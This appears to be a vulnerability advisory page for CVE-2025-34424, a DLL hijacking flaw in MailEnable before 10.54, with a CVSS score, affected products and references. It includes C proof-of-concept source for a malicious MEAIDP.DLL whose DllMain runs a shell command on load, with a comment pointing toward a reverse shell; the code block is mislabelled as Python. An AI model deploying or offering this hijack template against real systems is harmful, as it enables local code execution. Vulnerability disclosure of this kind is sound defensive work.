CVE-2025-34424

Description

MailEnable versions prior to 10.54 contain an unsafe DLL loading vulnerability that can lead to local arbitrary code execution. The MailEnable administrative executable attempts to load MEAIDP.DLL from its installation directory without sufficient integrity validation or a secure search order. A local attacker with write access to that directory can plant a malicious MEAIDP.DLL, which is then loaded on execution, resulting in attacker-controlled code running with the privileges of the process.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mailenable:mailenable:*:*:*:*:standard:*:*:* - VULNERABLE

MailEnable < 10.54

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-34424 PoC - Malicious MEAIDP.DLL
# This PoC demonstrates DLL hijacking in MailEnable
# Compile as DLL and place in MailEnable installation directory

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        // Create reverse shell or execute malicious code
        // Runs with the privileges of MailEnable admin process
        system("cmd.exe /c whoami > C:\\\\temp\\\\pwned.txt");
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

// Exported function that MailEnable expects
extern "C" __declspec(dllexport) int MEAI_Initialize(void) {
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-34424
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-34424
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-34424/
[4] VulDB https://vuldb.com/cve/CVE-2025-34424
[5] https://mailenable.com/Standard-ReleaseNotes.txt
[6] https://www.mailenable.com/
[7] https://www.vulncheck.com/advisories/mailenable-dll-hijacking-via-unsafe-loading-of-meaidp-dll

Raw JSON Data

JSON

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